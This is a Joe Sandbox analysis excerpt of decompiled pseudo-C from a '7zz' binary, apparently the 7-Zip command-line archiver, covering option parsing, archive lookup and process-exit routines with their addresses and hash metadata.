				_t447[0x40] =  *((intOrPtr*)(E004071F7(_t331, 0x1c)));
				_t447[0x41] =  *((intOrPtr*)(E004071F7(_t331, 0x1f)));
				if( *(E004071F7(_t331, 0x1e)) != 0) {
					 *0x490adc = E004071F7(_t331, 0x1e) & 0xffffff00 |  *((intOrPtr*)(_t326 + 0x18)) < 0x00000000;
				}
				_t200 = E004071F7(_t331, 0x12);
				_t459 =  *_t200;
				if( *_t200 == 0) {
					 *(_t449 - 0x18) = 2;
				} else {
					 *(_t449 - 0x18) = E00410A39( *((intOrPtr*)(E004071F7(_t331, 0x12) + 0x18)));
				}
				_push(0xffffffff);
				_t421 = 0x1b;
				_t201 = E0041191E(_t331, _t421, _t459);
				_push(0xfde9);
				_t422 = 0x1a;
				 *0x48b6f8 = _t201;
				_t202 = E0041191E(_t331, _t422, _t459);
				 *(_t449 - 0x20) =  *(_t449 - 0x20) & 0x00000000;
				 *((intOrPtr*)(_t449 - 0x14)) = _t202;
				if( *((char*)(E004071F7(_t331, 0xb))) != 0) {
					_push( *((intOrPtr*)(_t449 - 0x14)));
					 *(_t449 - 0x20) = 1;
					_push( *(_t449 - 0x18));
					_push(1);
					E00410CA4( &(_t447[0xc]), E004071F7(_t331, 0xb) + 4);
				}
				if( *((char*)(E004071F7(_t331, 0xc))) != 0) {
					_push( *((intOrPtr*)(_t449 - 0x14)));
					_push( *(_t449 - 0x18));
					_push(0);
					E00410CA4( &(_t447[0xc]), E004071F7(_t331, 0xc) + 4);
				}
				_t441 = 1;
				if( *((char*)(E004071F7(_t331, 0xf))) != 0) {
					L17:
					_t26 = _t449 + 0xb;
					 *_t26 =  *(_t449 + 0xb) & 0x00000000;
					__eflags =  *_t26;
					L18:
					_t206 = L0040FE22( &(_t447[0x20]));
					 *(_t449 - 0xe) = _t206;
					if(_t206 != 0 || _t447[0x20] == 6) {
						__eflags = _t447[5];
						 *(_t449 - 0xd) = 1;
						if(_t447[5] != 0) {
							_t35 = _t449 + 0xb;
							 *_t35 =  *(_t449 + 0xb) & 0x00000000;
							__eflags =  *_t35;
						}
					} else {
						 *(_t449 - 0xd) =  *(_t449 - 0xd) & _t206;
					}
					if( *(_t449 + 0xb) != 0) {
						if( *((intOrPtr*)(_t449 - 0x24)) <= 1) {
							L0040FFF2();
						}
						_t441 = 2;
						E00401E26( &(_t447[0x24]),  *((intOrPtr*)( *((intOrPtr*)(_t331 + 0x14)) + 4)));
						if(_t447[0x28] == 0) {
							L0040FFF2();
						}
					}
					_push( *((intOrPtr*)(_t449 - 0x14)));
					_push( *(_t449 - 0x20));
					 *(_t449 - 0x1c) =  &(_t447[0xc]);
					_push( *(_t449 - 0x18));
					_push(_t331 + 8);
					E00410B06(_t441,  &(_t447[0xc]));
					_t447[8] =  *((intOrPtr*)(E004071F7(_t331, 6)));
					_t212 =  *((intOrPtr*)(E004071F7(_t331, 7)));
					_t447[0x30] = _t212;
					if(_t212 != 0) {
						E00401E26( &(_t447[0x34]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 7) + 0x10)))));
					}
					_t447[9] =  *((intOrPtr*)(E004071F7(_t331, 0x18)));
					if( *((char*)(E004071F7(_t331, 5))) != 0) {
						E00401E26( &(_t447[0x168]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 5) + 0x10)))));
					}
					if( *(_t449 - 0xd) == 0) {
						_t216 = L0040FE46( &(_t447[0x20]));
						__eflags = _t216;
						if(_t216 == 0) {
							_t217 = _t447[0x20];
							__eflags = _t217 - 7;
							if(_t217 != 7) {
								__eflags = _t217 - 8;
								if(_t217 != 8) {
									L0040FFF2();
								}
								goto L110;
							}
							_t447[0x17c] = _t447[0x17c] | 0xffffffff;
							_t447[0x180] = _t447[0x180] | 0xffffffff;
							__eflags = _t441 -  *((intOrPtr*)(_t449 - 0x24));
							_t424 =  &(_t447[0x178]);
							_t447[0x178] = 1;
							if(_t441 <  *((intOrPtr*)(_t449 - 0x24))) {
								_t243 = E004119B8( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t331 + 0x14)) + _t441 * 4)))), _t424);
								__eflags = _t243;
								if(_t243 == 0) {
									L0040FFF2();
								}
							}
							_t443 = 0;
							_t220 = E004071F7(_t331, 8);
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) > 0) {
								do {
									L004039C0(_t449 - 0x30,  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 8) + 0x10)) + _t443 * 4)));
									 *(_t449 - 4) = 3;
									L00407ED0( *((intOrPtr*)(_t449 - 0x30)));
									__eflags =  *((intOrPtr*)(_t449 - 0x2c)) - 2;
									if( *((intOrPtr*)(_t449 - 0x2c)) < 2) {
										L0040FFF2();
									}
									_t225 =  *((intOrPtr*)(_t449 - 0x30));
									_t357 =  *_t225;
									__eflags = _t357 - 0x44;
									if(_t357 != 0x44) {
										__eflags = _t357 - 0x4d;
										if(_t357 != 0x4d) {
											L100:
											L0040FFF2();
											goto L101;
										}
										__eflags =  *((short*)(_t225 + 2)) - 0x54;
										if( *((short*)(_t225 + 2)) != 0x54) {
											__eflags = _t357 - 0x4d;
											if(_t357 != 0x4d) {
												goto L100;
											}
											__eflags =  *((short*)(_t225 + 2)) - 0x3d;
											if( *((short*)(_t225 + 2)) != 0x3d) {
												goto L100;
											}
											__eflags =  *((short*)(_t225 + 4));
											if( *((short*)(_t225 + 4)) == 0) {
												goto L102;
											}
											_t230 = L004072C9(_t449 - 0x30, _t449 - 0x3c, 2);
											 *(_t449 - 4) = 4;
											E00401E26( &(_t447[0x184]), _t230);
											L00407A18( *((intOrPtr*)(_t449 - 0x3c)));
											goto L101;
										}
										__eflags =  *((short*)(_t225 + 4)) - 0x3d;
										_t363 = 2;
										if( *((short*)(_t225 + 4)) == 0x3d) {
											_t363 = 3;
										}
										__eflags =  *((short*)(_t225 + _t363 * 2));
										_t364 = _t225 + _t363 * 2;
										if( *((short*)(_t225 + _t363 * 2)) == 0) {
											goto L102;
										} else {
											_t233 = E004119B8(_t364,  &(_t447[0x17c]));
											__eflags = _t233;
											if(_t233 != 0) {
												goto L101;
											}
											goto L100;
										}
									} else {
										__eflags =  *((short*)(_t225 + 2)) - 0x3d;
										_t365 = 1;
										if( *((short*)(_t225 + 2)) == 0x3d) {
											_t365 = 2;
										}
										_t234 = E004119B8(_t225 + _t365 * 2, _t449 + 8);
										__eflags = _t234;
										if(_t234 == 0) {
											L0040FFF2();
										}
										__eflags =  *(_t449 + 8) - 0x1f;
										if( *(_t449 + 8) > 0x1f) {
											L0040FFF2();
										}
										_t235 = 1;
										_t447[0x180] = _t235 <<  *(_t449 + 8);
										L101:
										_t225 =  *((intOrPtr*)(_t449 - 0x30));
									}
									L102:
									 *(_t449 - 4) =  *(_t449 - 4) | 0xffffffff;
									L00407A18(_t225);
									_t443 = _t443 + 1;
									_t228 = E004071F7(_t331, 8);
									__eflags = _t443 -  *((intOrPtr*)(_t228 + 0xc));
								} while (_t443 <  *((intOrPtr*)(_t228 + 0xc)));
							}
							goto L110;
						}
						_t444 =  &(_t447[0x90]);
						_push(_t444);
						E0041124B(_t447[0x20], _t331);
						E004117BD(_t331,  &(_t444[4]), __eflags);
						_t247 = E004071F7(_t331, 0x1d);
						__eflags =  *_t247;
						if( *_t247 != 0) {
							_t444[0x98] = 1;
						}
						_t248 = E004071F7(_t331, 4);
						__eflags =  *_t248;
						_t249 = _t248 & 0xffffff00 |  *_t248 == 0x00000000;
						__eflags = _t249;
						_t447[0x174] = _t249;
						if(_t249 == 0) {
							L66:
							_t251 =  *((intOrPtr*)(E004071F7(_t331, 0x17)));
							__eflags = _t251;
							_t444[0xa9] = _t251;
							if(_t251 != 0) {
								E00401E26( &(_t444[0xac]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 0x17) + 0x10)))));
								__eflags = _t444[0xb0];
								if(_t444[0xb0] > 0) {
									__eflags =  *(_t444[0xac]) - 0x2e;
									if( *(_t444[0xac]) == 0x2e) {
										_t444[0xaa] = 1;
										L004075A5( &(_t444[0xac]), 0, 1);
									}
								}
							}
							_t252 =  &(_t444[0xa8]);
							 *_t252 = _t447[6];
							_t253 =  *_t252;
							_t375 = _t447[5];
							__eflags = _t253;
							_t444[0x99] = _t375;
							if(_t253 != 0) {
								__eflags = _t444[0xa9];
								if(_t444[0xa9] != 0) {
									 *(_t449 + 8) = "stdout mode and email mode cannot be combined";
									_t253 = E0046B8F4(_t449 + 8, 0x47cf70);
								}
								__eflags = _t253;
								if(_t253 != 0) {
									__eflags = _t447[3];
									if(_t447[3] != 0) {
										_t258 =  *0x48ba30; // 0x48bab0
										 *(_t449 + 8) = _t258;
										E0046B8F4(_t449 + 8, 0x47d358);
									}
								}
							}
							__eflags = _t375;
							if(_t375 != 0) {
								E00401E26( &(_t444[0x9c]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 0x14) + 0x10)))));
							}
							E00411046( *(_t449 - 0x1c));
							goto L110;
						} else {
							_t268 = _t447[6];
							__eflags = _t268;
							if(_t268 == 0) {
								L64:
								__eflags = _t447[3];
								if(_t447[3] != 0) {
									goto L66;
								}
								L65:
								_t122 =  &(_t447[0x174]);
								 *_t122 = _t447[0x174] & 0x00000000;
								__eflags =  *_t122;
								goto L66;
							}
							__eflags = _t447[4];
							if(_t447[4] == 0) {
								goto L65;
							}
							__eflags = _t268;
							if(_t268 != 0) {
								goto L66;
							}
							goto L64;
						}
					} else {
						_t269 =  *(_t449 - 0x1c);
						if(_t269[8] != 1 ||  *((intOrPtr*)( *(_t269[0xc]) + 4)) != 0) {
							L0040FFFD("Cannot use absolute pathnames for this command");
						}
						E00405B9F(_t449 - 0x50);
						 *((intOrPtr*)(_t449 - 0x50)) = 0x47a680;
						 *(_t449 - 4) =  *(_t449 - 4) & 0x00000000;
						if( *((char*)(E004071F7(_t331, 0xd))) != 0) {
							_push( *((intOrPtr*)(_t449 - 0x14)));
							_push(2);
							_push(1);
							E00410CA4(_t449 - 0x50, E004071F7(_t331, 0xd) + 4);
						}
						if( *((char*)(E004071F7(_t331, 0xe))) != 0) {
							_push( *((intOrPtr*)(_t449 - 0x14)));
							_push(2);
							_push(0);
							E00410CA4(_t449 - 0x50, E004071F7(_t331, 0xe) + 4);
						}
						if( *(_t449 + 0xb) != 0) {
							E00410AC9(_t449 - 0x50,  &(_t447[0x24]), 1, 2);
						}
						E00411046(_t449 - 0x50);
						E0040925B(_t449 - 0x50);
						if(_t447[5] == 0) {
							_push( &(_t447[0x68]));
							E0041003E(_t331, _t449 - 0x50,  &(_t447[0x54]), _t441, __eflags); // executed
						} else {
							L004039C0(_t449 - 0x30,  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 0x14) + 0x10)))));
							_push(_t449 - 0x30);
							 *(_t449 - 4) = 1;
							E00406796( &(_t447[0x54]));
							_push(_t449 - 0x30);
							E00406796( &(_t447[0x68]));
							 *(_t449 - 4) =  *(_t449 - 4) & 0x00000000;
							L00407A18( *((intOrPtr*)(_t449 - 0x30)));
						}
						_t483 =  *(_t449 - 0xe);
						if( *(_t449 - 0xe) != 0) {
							E004117BD(_t331,  &(_t447[0x7c]), _t483);
							if(_t447[6] != 0 && _t447[3] != 0 && _t447[4] != 0) {
								_t291 =  *0x48ba34; // 0x48ba74
								 *(_t449 + 8) = _t291;
								E0046B8F4(_t449 + 8, 0x47d358);
							}
							if( *((char*)(E004071F7(_t331, 9))) != 0) {
								E00401E26( &(_t447[0x44]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 9) + 0x10)))));
								L0040BEB9( &(_t447[0x44]));
							}
							_t447[0x50] = _t447[0x50] & 0x00000000;
							if( *((char*)(E004071F7(_t331, 0x16))) == 0) {
								__eflags = _t447[8];
								if(_t447[8] != 0) {
									_t447[0x50] = 1;
								}
							} else {
								_t447[0x50] =  *(0x48b704 +  *(E004071F7(_t331, 0x16) + 0x18) * 4);
							}
						}
						 *((intOrPtr*)(_t449 - 0x50)) = 0x47a680;
						 *(_t449 - 4) = 2;
						E0040862D();
						 *(_t449 - 4) =  *(_t449 - 4) | 0xffffffff;
						E00408604(_t449 - 0x50);
						L110:
						_t218 = E0040925B( *(_t449 - 0x1c));
						 *[fs:0x0] =  *((intOrPtr*)(_t449 - 0xc));
						return _t218;
					}
				}
				_t319 = _t447[0x20];
				if(_t319 == 7 || _t319 == 8) {
					goto L17;
				} else {
					 *(_t449 + 0xb) = 1;
					goto L18;
				}
			}

0x00410362
0x0041036b
0x0041036f
0x00410372
0x00410375
0x00410378
0x0041037a
0x0041037a
0x00410382
0x00410391
0x00410393
0x00410393
0x004103a7
0x004103b5
0x004103c0
0x004103d2
0x004103d2
0x004103db
0x004103e0
0x004103e3
0x004103fb
0x004103e5
0x004103f6
0x004103f6
0x00410402
0x00410406
0x00410409
0x0041040e
0x00410415
0x00410418
0x0041041d
0x00410422
0x0041042a
0x00410435
0x00410437
0x0041043c
0x00410440
0x00410443
0x00410454
0x00410454
0x00410465
0x00410467
0x0041046c
0x0041046f
0x00410480
0x00410480
0x00410489
0x00410494
0x004104a9
0x004104a9
0x004104a9
0x004104a9
0x004104ad
0x004104b0
0x004104b7
0x004104ba
0x004104c7
0x004104cb
0x004104cf
0x004104d1
0x004104d1
0x004104d1
0x004104d1
0x004104c2
0x004104c2
0x004104c2
0x004104d9
0x004104df
0x004104e1
0x004104e1
0x004104eb
0x004104f2
0x004104fb
0x004104fd
0x004104fd
0x004104fb
0x00410502
0x0041050d
0x00410510
0x00410513
0x00410516
0x00410517
0x0041052b
0x00410533
0x00410537
0x0041053a
0x0041054d
0x0041054d
0x00410561
0x0041056c
0x00410582
0x00410582
0x0041058b
0x0041075e
0x00410763
0x00410765
0x004108ae
0x004108b1
0x004108b4
0x00410a16
0x00410a19
0x00410a1b
0x00410a1b
0x00000000
0x00410a19
0x004108ba
0x004108c1
0x004108c8
0x004108cb
0x004108d1
0x004108d7
0x004108e3
0x004108e8
0x004108ea
0x004108ec
0x004108ec
0x004108ea
0x004108f5
0x004108f7
0x004108fc
0x004108ff
0x00410905
0x00410917
0x0041091f
0x00410926
0x0041092b
0x0041092f
0x00410931
0x00410931
0x00410936
0x00410939
0x0041093c
0x00410940
0x0041097e
0x00410982
0x004109b1
0x004109b1
0x00000000
0x004109b1
0x00410984
0x00410989
0x004109d9
0x004109dd
0x00000000
0x00000000
0x004109df
0x004109e4
0x00000000
0x00000000
0x004109e6
0x004109eb
0x00000000
0x00000000
0x004109f6
0x00410a02
0x00410a06
0x00410a0e
0x00000000
0x00410a13
0x0041098b
0x00410992
0x00410993
0x00410997
0x00410997
0x00410998
0x0041099d
0x004109a0
0x00000000
0x004109a2
0x004109a8
0x004109ad
0x004109af
0x00000000
0x00000000
0x00000000
0x004109af
0x00410942
0x00410942
0x00410949
0x0041094a
0x0041094e
0x0041094e
0x00410955
0x0041095a
0x0041095c
0x0041095e
0x0041095e
0x00410963
0x00410967
0x00410969
0x00410969
0x00410973
0x00410976
0x004109b6
0x004109b6
0x004109b6
0x004109b9
0x004109b9
0x004109be
0x004109c4
0x004109c9
0x004109ce
0x004109ce
0x004109d7
0x00000000
0x004108ff
0x0041076e
0x00410774
0x00410777
0x00410781
0x0041078a
0x0041078f
0x00410792
0x00410794
0x00410794
0x0041079f
0x004107a4
0x004107a7
0x004107aa
0x004107ac
0x004107b2
0x004107d2
0x004107db
0x004107dd
0x004107df
0x004107e5
0x004107fc
0x00410801
0x00410808
0x00410810
0x00410814
0x00410820
0x00410827
0x00410827
0x00410814
0x00410808
0x0041082f
0x00410835
0x00410837
0x00410839
0x0041083c
0x0041083e
0x00410844
0x00410846
0x0041084d
0x00410858
0x0041085f
0x0041085f
0x00410864
0x00410866
0x00410868
0x0041086c
0x0041086e
0x00410878
0x0041087f
0x0041087f
0x0041086c
0x00410866
0x00410884
0x00410886
0x0041089c
0x0041089c
0x004108a4
0x00000000
0x004107b4
0x004107b4
0x004107b7
0x004107b9
0x004107c5
0x004107c5
0x004107c9
0x00000000
0x00000000
0x004107cb
0x004107cb
0x004107cb
0x004107cb
0x00000000
0x004107cb
0x004107bb
0x004107bf
0x00000000
0x00000000
0x004107c1
0x004107c3
0x00000000
0x00000000
0x00000000
0x004107c3
0x00410591
0x00410591
0x00410598
0x004105aa
0x004105aa
0x004105b2
0x004105b7
0x004105be
0x004105ce
0x004105d0
0x004105d5
0x004105d7
0x004105e8
0x004105e8
0x004105f9
0x004105fb
0x00410600
0x00410602
0x00410613
0x00410613
0x0041061c
0x00410628
0x00410628
0x00410630
0x00410638
0x00410641
0x0041068a
0x0041068e
0x00410643
0x00410654
0x0041065f
0x00410660
0x00410664
0x0041066f
0x00410670
0x00410678
0x0041067c
0x00410681
0x00410693
0x00410697
0x004106a2
0x004106ab
0x004106b9
0x004106c3
0x004106ca
0x004106ca
0x004106db
0x004106f1
0x004106f8
0x004106f8
0x004106fd
0x0041070d
0x00410727
0x0041072b
0x0041072d
0x0041072d
0x0041070f
0x00410722
0x00410722
0x0041070d
0x00410734
0x0041073e
0x00410745
0x0041074a
0x00410751
0x00410a20
0x00410a23
0x00410a2e
0x00410a36
0x00410a36
0x0041058b
0x00410496
0x0041049c
0x00000000
0x004104a3
0x004104a3
0x00000000
0x004104a3

APIs

__EH_prolog.LIBCMT ref: 00410362

Part of subcall function 0041003E: __EH_prolog.LIBCMT ref: 00410043

Strings

Cannot use absolute pathnames for this command, xrefs: 004105A5
59@, xrefs: 0041036E

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: 59@$Cannot use absolute pathnames for this command
API String ID: 3519838083-753490679
Opcode ID: de4fbde47b61008498a3c2fc4989349089cc095c7becb09b759c2ca07a161b8b
Instruction ID: 8adad491b5bf5222f818b6dcdc2d6027f4997ee1019a1a956a15da55c14c090b
Opcode Fuzzy Hash: de4fbde47b61008498a3c2fc4989349089cc095c7becb09b759c2ca07a161b8b
Instruction Fuzzy Hash: D022C330A043849EDB25EB65C851BEE7BA1AF45308F04446FE1562F2D3CBBCA9C8C759

Uniqueness

Uniqueness Score: -1.00%

Function 0046E717 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E0046E717(void* __esi, int _a4, intOrPtr _a8, char _a12) {
				intOrPtr _t9;
				intOrPtr* _t11;
				char _t16;
				intOrPtr _t22;
				intOrPtr _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;
				void* _t32;

				_t24 = __esi;
				E0046E7BC();
				_t23 = 1;
				_t27 =  *0x49372c - _t23; // 0x1
				if(_t27 == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				_t16 = _a12;
				 *0x493728 = _t23;
				 *0x493724 = _t16;
				if(_a8 == 0) {
					_t9 =  *0x496594; // 0x2210ab8
					if(_t9 != 0) {
						_t22 =  *0x496590; // 0x2210ae4
						_push(_t24);
						_t4 = _t22 - 4; // 0x2210ae0
						_t25 = _t4;
						if(_t25 >= _t9) {
							do {
								_t11 =  *_t25;
								if(_t11 != 0) {
									 *_t11();
								}
								_t25 = _t25 - 4;
								_t32 = _t25 -  *0x496594; // 0x2210ab8
							} while (_t32 >= 0);
						}
					}
					E0046E7CE(0x48a0e0, 0x48a0e8);
				}
				E0046E7CE(0x48a0ec, 0x48a0f4);
				if(_t16 == 0) {
					 *0x49372c = _t23; // executed
					ExitProcess(_a4);
				}
				return E0046E7C5();
			}

0x0046e717
0x0046e718
0x0046e71f
0x0046e720
0x0046e726
0x0046e733
0x0046e733
0x0046e73f
0x0046e743
0x0046e749
0x0046e74f
0x0046e751
0x0046e758
0x0046e75a
0x0046e760
0x0046e761
0x0046e761
0x0046e766
0x0046e768
0x0046e768
0x0046e76c
0x0046e76e
0x0046e76e
0x0046e770
0x0046e773
0x0046e773
0x0046e768
0x0046e77b
0x0046e786
0x0046e78c
0x0046e797
0x0046e7a1
0x0046e7ae
0x0046e7b4
0x0046e7b4
0x0046e7a9

APIs

GetCurrentProcess.KERNEL32(0046D01D,?,0046E702,00000000,00000000,00000000,0046D01D,00000000), ref: 0046E72C
TerminateProcess.KERNEL32(00000000,?,0046E702,00000000,00000000,00000000,0046D01D,00000000), ref: 0046E733
ExitProcess.KERNEL32 ref: 0046E7B4

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d37c32f3b74641771bf8449d0f21babc3d9490daefb6715abc0a0bd2884901a9
Instruction ID: f2142e9f323653ae12a02806cee2fc2220ca4adb72cbe7e174c19522fd5f48b0
Opcode Fuzzy Hash: d37c32f3b74641771bf8449d0f21babc3d9490daefb6715abc0a0bd2884901a9
Instruction Fuzzy Hash: D2010879100301AEEA10AF67FC8151E77E8EB65752B10843FF44456151EB699C908B1F

Uniqueness

Uniqueness Score: -1.00%

Function 0041003E Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E0041003E(void* __ebx, intOrPtr* __ecx, intOrPtr __edx, void* __edi, void* __eflags) {
				intOrPtr* _t128;
				void* _t142;
				signed int _t168;
				intOrPtr* _t175;
				intOrPtr _t176;
				signed int _t208;
				void* _t209;
				signed int _t212;
				void* _t218;

				L0046B890(E00474107, _t218);
				 *((intOrPtr*)(_t218 - 0x24)) = __edx;
				E00405B9F(_t218 - 0x38);
				 *((intOrPtr*)(_t218 - 0x38)) = 0x47a420;
				_t168 = 0;
				 *(_t218 - 4) = 0;
				L14();
				 *(_t218 - 4) = 1;
				E00405B9F(_t218 - 0x20);
				 *((intOrPtr*)(_t218 - 0x20)) = 0x47a420;
				 *(_t218 - 4) = 2;
				E00404AD0(_t218 - 0x74, 4);
				 *((intOrPtr*)(_t218 - 0x74)) = 0x47a9ac;
				_push(_t218 - 0x74);
				_push(_t218 - 0x20);
				_push(0);
				_t175 = __ecx;
				 *(_t218 - 4) = 3;
				if(E00415349(__ecx, _t218 - 0xc4) != 0 ||  *(_t218 - 0x18) > 0) {
					 *(_t218 + 8) = "cannot find archive";
					E0046B8F4(_t218 + 8, 0x47cf70); // executed
					_push(0x47a420);
					_t128 = _t175;
					__eflags = 0;
					_t176 = 4;
					 *((intOrPtr*)(_t128 + 4)) = 0;
					 *((intOrPtr*)(_t128 + 8)) = 0;
					 *((intOrPtr*)(_t128 + 0xc)) = 0;
					 *((intOrPtr*)(_t128 + 0x10)) = _t176;
					 *_t128 = 0x47a420;
					 *((intOrPtr*)(_t128 + 0x18)) = 0;
					 *((intOrPtr*)(_t128 + 0x1c)) = 0;
					 *((intOrPtr*)(_t128 + 0x20)) = 0;
					 *((intOrPtr*)(_t128 + 0x24)) = _t176;
					 *((intOrPtr*)(_t128 + 0x14)) = 0x47a668;
					 *((intOrPtr*)(_t128 + 0x2c)) = 0;
					 *((intOrPtr*)(_t128 + 0x30)) = 0;
					 *((intOrPtr*)(_t128 + 0x34)) = 0;
					 *((intOrPtr*)(_t128 + 0x38)) = _t176;
					 *((intOrPtr*)(_t128 + 0x28)) = 0x47a668;
					 *((intOrPtr*)(_t128 + 0x40)) = 0;
					 *((intOrPtr*)(_t128 + 0x44)) = 0;
					 *((intOrPtr*)(_t128 + 0x48)) = 0;
					 *((intOrPtr*)(_t128 + 0x4c)) = _t176;
					 *((intOrPtr*)(_t128 + 0x3c)) = 0x47aa4c;
					return _t128;
				} else {
					 *(_t218 - 4) = 2;
					E00408604(_t218 - 0x74);
					 *((intOrPtr*)(_t218 - 0x20)) = 0x47a420;
					 *(_t218 - 4) = 4;
					E0040862D();
					 *(_t218 - 4) = 1;
					E00408604(_t218 - 0x20);
					_t208 = 0;
					if( *((intOrPtr*)(_t218 - 0x80)) > 0) {
						do {
							if(( *( *((intOrPtr*)( *((intOrPtr*)(_t218 - 0x7c)) + _t208 * 4)) + 0x2c) >> 0x00000004 & 0x00000001) == 0) {
								_push(E0041528B(_t218 - 0xc4, _t218 - 0x18, _t208));
								 *(_t218 - 4) = 5;
								E00406796(_t218 - 0x38);
								 *(_t218 - 4) = 1;
								L00407A18( *(_t218 - 0x18));
							}
							_t208 = _t208 + 1;
							_t228 = _t208 -  *((intOrPtr*)(_t218 - 0x80));
						} while (_t208 <  *((intOrPtr*)(_t218 - 0x80)));
					}
					 *(_t218 - 4) =  *(_t218 - 4) & 0x00000000;
					E004102DF(_t218 - 0xc4, _t228);
					if( *((intOrPtr*)(_t218 - 0x30)) == _t168) {
						 *(_t218 + 8) = "there is no such archive";
						E0046B8F4(_t218 + 8, 0x47cf70);
					}
					E00405B9F(_t218 - 0x60);
					 *((intOrPtr*)(_t218 - 0x60)) = 0x47a420;
					_t209 = 0;
					 *(_t218 - 4) = 6;
					if( *((intOrPtr*)(_t218 - 0x30)) > _t168) {
						do {
							 *(_t218 - 0x18) = _t168;
							 *(_t218 - 0x14) = _t168;
							 *(_t218 - 0x10) = _t168;
							E00401E9A(_t218 - 0x18, 3);
							 *(_t218 - 4) = 7;
							E0040A5AF();
							_push(_t218 - 0x18);
							E00406796(_t218 - 0x60);
							 *(_t218 - 4) = 6;
							L00407A18( *(_t218 - 0x18));
							_t209 = _t209 + 1;
						} while (_t209 <  *((intOrPtr*)(_t218 - 0x30)));
					}
					E00404AD0(_t218 - 0x4c, 4);
					 *((intOrPtr*)(_t218 - 0x4c)) = 0x47a668;
					 *(_t218 - 4) = 8;
					E004195A6(_t218 - 0x60, _t218 - 0x4c);
					E0040867E( *((intOrPtr*)(_t218 - 0x24)),  *((intOrPtr*)(_t218 - 0x44)));
					E0040867E( *(_t218 + 8),  *((intOrPtr*)(_t218 - 0x44)));
					if( *((intOrPtr*)(_t218 - 0x44)) > _t168) {
						do {
							_t212 =  *( *((intOrPtr*)(_t218 - 0x40)) + _t168 * 4) << 2;
							_push( *((intOrPtr*)(_t212 +  *((intOrPtr*)(_t218 - 0x2c)))));
							E00406796( *((intOrPtr*)(_t218 - 0x24)));
							_push( *((intOrPtr*)(_t212 +  *((intOrPtr*)(_t218 - 0x54)))));
							E00406796( *(_t218 + 8));
							_t168 = _t168 + 1;
						} while (_t168 <  *((intOrPtr*)(_t218 - 0x44)));
					}
					 *(_t218 - 4) = 6;
					E00408604(_t218 - 0x4c);
					 *((intOrPtr*)(_t218 - 0x60)) = 0x47a420;
					 *(_t218 - 4) = 9;
					E0040862D();
					 *(_t218 - 4) =  *(_t218 - 4) & 0x00000000;
					E00408604(_t218 - 0x60);
					 *((intOrPtr*)(_t218 - 0x38)) = 0x47a420;
					 *(_t218 - 4) = 0xa;
					E0040862D();
					 *(_t218 - 4) =  *(_t218 - 4) | 0xffffffff;
					_t142 = E00408604(_t218 - 0x38);
					 *[fs:0x0] =  *((intOrPtr*)(_t218 - 0xc));
					return _t142;
				}
			}

0x00410043
0x00410053
0x00410059
0x00410063
0x00410066
0x0041006e
0x00410071
0x00410079
0x0041007d
0x00410082
0x0041008a
0x0041008e
0x00410093
0x004100a3
0x004100a7
0x004100a8
0x004100a9
0x004100ab
0x004100b6
0x00410281
0x00410288
0x0041028d
0x0041028e
0x00410292
0x00410294
0x0041029a
0x0041029d
0x004102a0
0x004102a3
0x004102a6
0x004102ac
0x004102af
0x004102b2
0x004102b5
0x004102b8
0x004102bb
0x004102be
0x004102c1
0x004102c4
0x004102c7
0x004102ca
0x004102cd
0x004102d0
0x004102d3
0x004102d6
0x004102de
0x004100c5
0x004100c8
0x004100cc
0x004100d1
0x004100d7
0x004100db
0x004100e3
0x004100e7
0x004100ec
0x004100f1
0x004100f3
0x00410101
0x00410113
0x00410117
0x0041011b
0x00410120
0x00410127
0x0041012c
0x0041012d
0x0041012e
0x0041012e
